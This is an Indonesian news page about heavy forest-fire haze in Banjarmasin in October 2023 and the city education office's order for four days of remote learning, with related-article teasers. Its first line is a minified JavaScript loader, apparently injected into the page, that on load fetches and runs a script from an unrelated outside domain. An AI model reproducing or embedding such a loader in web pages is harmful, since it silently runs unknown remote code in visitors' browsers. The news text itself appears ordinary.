(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kualitas udara di Kota Banjarmasin kian memburuk akibat dari kebakaran hutan dan lahan (Karhutla).
Seperti pada Selasa (3/10/2023) pagi, hampir sebagian besar wilayah Kota Seribu Sungai itu diselimuti kabut asap tebal. Kabut terasa lebih pekat dari hari-hari biasa.
Kabut asap bahkan telah menyebabkan berkurangnya jarak pandang pengendara dan memaksa warga harus memakai masker untuk mencegah penyakit Inspeksi Saluran Pernapasan Akut (ISPA).
Penelusuran di website ispu.menlhk.go.id per tanggal 3 Oktober 2023 pukul 11.00, nilai Indeks Standar Pencemaran Udara (ISPU) di Kota Banjarmasin berada di angka 220 dan berwarna merah yang berarti sangat tidak sehat.
Baca juga: Kemarau Hingga November, Karhutla Kian Mengancam Kalsel
ISPU Kota Banjarmasin berada di urutan keempat setelah Palangkaraya (Kalteng), Kabupaten Barito Selatan (Kalteng), dan tertinggi pertama Kabupaten Kotawaringin (Kalteng). Sementara Kota Jakarta berada di urutan 13.
Disdik Banjarmasin Keluarkan Edaran Pembelajaran Jarak Jauh
Merespon kualitas udara yang kian memburuk, Dinas Pendidikan (Disdik) Kota Banjarmasin akhirnya memilih opsi pembelajaran jarak jauh (PJJ) sebagai keputusan yang dinilai efektif.
Baca juga: Naik 20,23 Persen, Pemkab HSU Terima DIPA Tahun Anggaran 2024
Instruksi kebijakan PJJ itu tertuang dalam surat Disdik Banjarmasin nomor 400.3.5.3/10264-PSMP/Dipendik/2023 tanggal 3 Oktober 2023.
Surat itu ditandatangani oleh Isnooredy mewakili Kepala Dinas (Kadis) Pendidikan Nuryadi dan ditunjukkan kepada satuan pendidikan di bawah naungan Disdik Kota Banjarmasin meliputi Pendidikan Anak Usia Dini (PAUD), Sekolah Dasar (SD), dan Sekolah Menengah Pertama (SMP).
Melaksanakan Pembelajaran Jarak Jauh (PJJ) dari tanggal 4-7 Oktober 2023 kepada seluruh satuan pendidikan dibawah naungan Disdik Kota Banjarmasin dari jenjang PAUD, SD, dan SMP,” isi poin pertama surat edaran yang diterima Kanalkalimantan.com, Selasa (3/10/2023) siang.
Di surat itu disebutkan, kasus ISPA yang telah tembus 6.000 kasus di Banjarmasin menjadi salah satu pertimbangan Disdik Banjarmasin memilih opsi PJJ jalan terbaik untuk menghindari para peserta didik terpapar penyakit akibat kabut asap itu.
Baca juga: Titik Api ‘Sembunyi’ dalam Lahan Gambut, Wamen LHK Rapat di Lokasi Karhutla
Disebutkan, pelaksanaan PJJ hanya berlaku bagi peserta didik, untuk tenaga pendidikan/dewan guru tetap harus turun ke sekolah dengan tetap memperhatikan kesehatannya serta memantau PJJ peserta didik.
Selama PJJ berlangsung, satuan pendidikan juga diharuskan tetap memantau kesehatan dan kemajuan belajar peserta didik, dan mengimbau peserta didik tidak melakukan kegiatan di luar rumah selama PJJ
“Setelah tanggal 7 Oktober, Disdik akan mengevaluasi perkembangan yang ada dan berkoordinasi dengan pihak terkait untuk dapat diberikan kebijakan selanjutnya,” tutup surat edaran tersebut.
Dikonfirmasi via pesan singkat, Kadisdik Banjarmasin Nuryadi membenarkan jika pihaknya telah mengeluarkan surat edaran yang memuat instruksi PJJ bagi satuan pendidikan PAUD, SD, maupun SMP se Kota Banjarmasin.
Baca juga: Kemarau Hingga November, Karhutla Kian Mengancam Kalsel
“Ya, berlaku mulai besok atau empat hari,” kata Nuryadi, Selasa (3/10/2023) siang. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More
KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More
This website uses cookies.